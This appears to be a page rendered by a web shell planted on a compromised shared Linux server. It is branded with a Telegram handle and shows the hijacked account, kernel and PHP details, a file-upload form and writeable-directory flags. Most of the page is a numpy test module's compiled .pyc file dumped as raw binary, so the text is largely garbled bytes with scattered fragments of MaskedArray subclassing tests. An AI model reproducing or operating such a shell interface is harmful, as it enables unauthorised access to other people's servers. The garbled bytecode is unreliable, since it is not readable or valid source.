https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/ma/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/ma/tests/__pycache__/test_subclassing.cpython-310.pyc
o

6��ac1�@s�dZddlZddlmZmZddlmZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZmZmZmZdd�ZGdd	�d	ej�ZeZGd
d�de�ZGdd
�d
ee�ZeZGdd�d�ZGdd�de�ZGdd�d�ZdS)z�Tests suite for MaskedArray & subclassing.

:author: Pierre Gerard-Marchant
:contact: pierregm_at_uga_dot_edu
:version: $Id: test_subclassing.py 3473 2007-10-29 15:18:13Z jarrod.millman $

�N)�assert_�
assert_raises)�assert_equal)�array�arange�masked�MaskedArray�masked_array�log�add�hypot�divide�asarray�
asanyarray�nomaskcCst|dt|��|�dS�N)r�len)�a�b�r�A/usr/lib/python3/dist-packages/numpy/ma/tests/test_subclassing.py�assert_startswithsrcs@eZdZifdd�Z�fdd�Z�fdd�Z�fdd�Z�ZS)	�SubArraycCst�|��|�}|��|_|Sr)�npr�view�copy�info)�cls�arrr�xrrr�__new__s
zSubArray.__new__cs4ttt�dd��rt��|�t|di���|_dS)N�__array_finalize__r)�callable�getattr�superr!rr)�self�obj��	__class__rrr!szSubArray.__array_finalize__c�(t��|�}|j�dd�d|jd<|S)N�addedr�)r$�__add__r�get�r%�other�resultr'rrr,$�zSubArray.__add__cr))N�iaddedrr+)r$�__iadd__rr-r.r'rrr3)r1zSubArray.__iadd__)�__name__�
__module__�__qualname__r r!r,r3�
__classcell__rrr'rrs
rcs"eZdZdZd�fdd�	Z�ZS)�SubMaskedArrayz<Pure subclass of MaskedArray, keeping some info on subclass.Ncs"t�j|fi|��}||jd<|S)Nr)r$r �_optinfo)rr�kwargsr&r'rrr 4s
zSubMaskedArray.__new__r)r4r5r6�__doc__r r7rrr'rr82sr8c@s&eZdZiefdd�Zedd��ZdS)�	MSubArraycCs&t||�}tj|||d�}|j|_|S)N)�data�mask)rrr r)rr=rr>�subarr�_datarrrr <s
zMSubArray.__new__cCs|�t�}d|_|S)NF)rr�_sharedmask)r%�_viewrrr�_seriesBs
zMSubArray._seriesN)r4r5r6rr �propertyrCrrrrr<:sr<c@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�CSAIteratorz�
    Flat iterator object that uses its own setter/getter
    (works around ndarray.flat not propagating subclass setters/getters
    see https://github.com/numpy/numpy/issues/4564)
    roughly following MaskedIterator
    cCs||_|�tj�j|_dSr)�	_originalrr�ndarray�flat�	_dataiter)r%rrrr�__init__WszCSAIterator.__init__cCs|Srr�r%rrr�__iter__[szCSAIterator.__iter__cCs4|j�|�}t|tj�s|��}|�t|j��}|Sr)	rI�__getitem__�
isinstancerrG�	__array__r�typerF)r%�indx�outrrrrM^s
zCSAIterator.__getitem__cCs|j�|�|j|<dSr)rF�_validate_inputrI)r%�index�valuerrr�__setitem__eszCSAIterator.__setitem__cCst|j����t|j��Sr)�nextrIrOrrPrFrKrrr�__next__hszCSAIterator.__next__N)	r4r5r6r;rJrLrMrVrXrrrrrEPsrEcsheZdZdd�Zdd�Zdd�Z�fdd�Z�fd	d
�Zedd��Z	e	j
d
d��Z	d�fdd�	Z�ZS)�ComplicatedSubArraycCsd|�t��d�S)Nz	myprefix z
 mypostfix)rrrKrrr�__str__nszComplicatedSubArray.__str__cCsd|jj�d|�d�S)N�<� �>)r(r4rKrrr�__repr__qszComplicatedSubArray.__repr__cCst|t�s	td��|S)Nz!Can only set to MySubArray values)rNrY�
ValueError)r%rUrrrrSus
z#ComplicatedSubArray._validate_inputcst��||�|��dSr)r$rVrS�r%�itemrUr'rrrVzszComplicatedSubArray.__setitem__cs*t��|�}t|tj�s|���t�}|Sr)r$rMrNrrGrOrrYr`r'rrrMszComplicatedSubArray.__getitem__cCst|�Sr)rErKrrrrH�szComplicatedSubArray.flatcCs|��}||dd�<dSr)�ravel)r%rU�yrrrrH�sNcs@t��||�}|dur|dtjur|j�dd�d|jd<|S)Nr�
multipliedr+)r$�__array_wrap__r�multiplyrr-)r%r&�contextr'rrre�sz"ComplicatedSubArray.__array_wrap__r)
r4r5r6rZr^rSrVrMrDrH�setterrer7rrr'rrYls

rYc@steZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�ZdS)�TestSubclassingcCs,tjddd�}t|gd�d�}||f|_dS)N��float)�dtype)rr+rrr�r>)rr�	msubarrayr=�r%r�mxrrr�setup�szTestSubclassing.setupcCsTt�d�}gd�}t|�}t||d�}tt|t��t|j|�tt|jt��dS)Nrj�rrr+rrrm)	rrrr	rrNrrr@)r%r�m�xsub�xmsubrrr�test_data_subclassing�s
z%TestSubclassing.test_data_subclassingcCs|j\}}tt|jt��dSr)r=rrNr@�subarrayrorrr�test_maskedarray_subclassing�s
z,TestSubclassing.test_maskedarray_subclassingcCsb|j\}}tjdd��ttt|�t��tt|�t�|��Wd�dS1s*wYdS)N�ignore)r
)r=r�errstaterrNr
rnrrorrr�test_masked_unary_operations�s

"�z,TestSubclassing.test_masked_unary_operationscCs�|j\}}ttt||�t��ttt||�t��tt||�||�ttt||�jt��ttt�||�t��ttt	||�t��ttt	||�t��dSr)
r=rrNrrnrr@rw�outerrrorrr�test_masked_binary_operations�s
z-TestSubclassing.test_masked_binary_operationscCs`|j\}}t|j��|jd�}ttt||�t��ttt||�t��tt||�t||��dS)Nrm)	r=r	rOr>rrNr
rnr)r%rrp�xmxrrr�test_masked_binary_operations2�s

z.TestSubclassing.test_masked_binary_operations2cCszttd�dgdgdd�}tt|��}t|�}|d}tt|t��tt|t��tt|j	t
��t|j	ji�|d}tt|t��tt|t��tt|j	t
��t|j	jddk�|d7}tt|t��tt|t��tt|j	t
��t|j	jddk�|�
gd��t|jgd��|j�
gd	��t|jgd	��t|d
did�}t|�}tt|d
��t|j|j�dS)Nrjrr+�rmr*r2)r+rrrr+)rrrrr+�namer)rr)rrr	rwrnrrNrr<r@rrr�	_set_mask�_maskrC�hasattr)r%r�my�ym�zrt�mxsubrrr�test_attributepropagation�s4z)TestSubclassing.test_attributepropagationcCs
t�d�}gd�}dd�t||�D�}t||d|id�}t|dd�}tt|t��tt|t��t|j	|�t
|�}tt|t��tt|t��t|j	|�t|d	d�}tt|t��t|j|j�t|j	|j	�t|�}tt|t��t|j|j�t|j	|�dS)
NrjrrcSsg|]\}}||f�qSrr)�.0�i�jrrr�
<listcomp>�sz=TestSubclassing.test_subclasspreservation.<locals>.<listcomp>rt)r>rF)�subokT)
rr�zipr<r	rrNrrr�rrr)r%rrs�xinfortr�rrr�test_subclasspreservation�s(
z)TestSubclassing.test_subclasspreservationcCs�t�d�}t|�}t|gd�d�}tt|dt��tt|dt��tt|dd�t��tt|dt��tt|djt��t|dtu�tt|djt��tt|dd�jt��tt|jdjt��t|jdtu�tt|jdd�j	t��t
t|jd|d�t
t|jd|d�t
t|jt
dd�|dd��|d|d<|dd�|dd�<t
t|jjd|d�t
t|jjt
dd�|dd��|d|jd<|dd�|jdd�<d	S)
z,test that getter and setter go via baseclassrj�TFTFFrmr+�r+.r�r�r.N)rrrYr	rrNr=rrH�baserr_rV�slice)r%r�xcsub�mxcsubrrr�test_subclass_itemss.
 z#TestSubclassing.test_subclass_itemscCsjt�d�}t|�}t|�}tt|djt��tt|djt��tt|dt��tt|dt��dS)Nrjr�r�r+r)rrrYr	rrNr=)r%rr��
mxcsub_nomaskrrr�test_subclass_nomask_items+s
z*TestSubclassing.test_subclass_nomask_itemscCs\t�d�}t|gd�d�}tt|�d�t|�}t|gd�d�}tt|�dtj�d��dS)zOtest that repr uses the name of the subclass
        and 'array' for np.ndarrayrjr�rmr	�masked_z(data=[--, 1, --, 3, 4]N)rrr	r�reprrr4)r%rrprtr�rrr�test_subclass_repr6s
�z"TestSubclassing.test_subclass_reprcCspt�d�}t|�}t|gd�d�}tt|�d�t|�}tt|j	dtj
jj�t|gd�d�}tt|�d�dS)z7test str with subclass that has overridden str, setitemrjr�rmz
[-- 1 -- 3 4]rz myprefix [-- 1 -- 3 4] mypostfixN)
rrrr	r�strrYrr_rV�ma�core�masked_print_option)r%rrtr�r�r�rrr�test_subclass_strAs

�z!TestSubclassing.test_subclass_strcCsvtdgd�d�}tgd�d�}t�||�}td|jv�t|jddk�||}td|jv�t|jddk�dS)N�test)r+��r�rj�)r=)rr+r�r�r�rjr)r8r�subtractrr9)r%�arr1�arr2�diff1�diff2rrr�$test_pure_subclass_info_preservationOsz4TestSubclassing.test_pure_subclass_info_preservationN)r4r5r6rqrvrxr{r}rr�r�r�r�r�r�r�rrrrri�s

!%ri)r;�numpyr�
numpy.testingrr�numpy.ma.testutilsr�
numpy.ma.corerrrrr	r
rrr
rrrrrGrrwr8r<rnrErYrirrrr�<module>s8+

https://t.me/RX1948 - 2025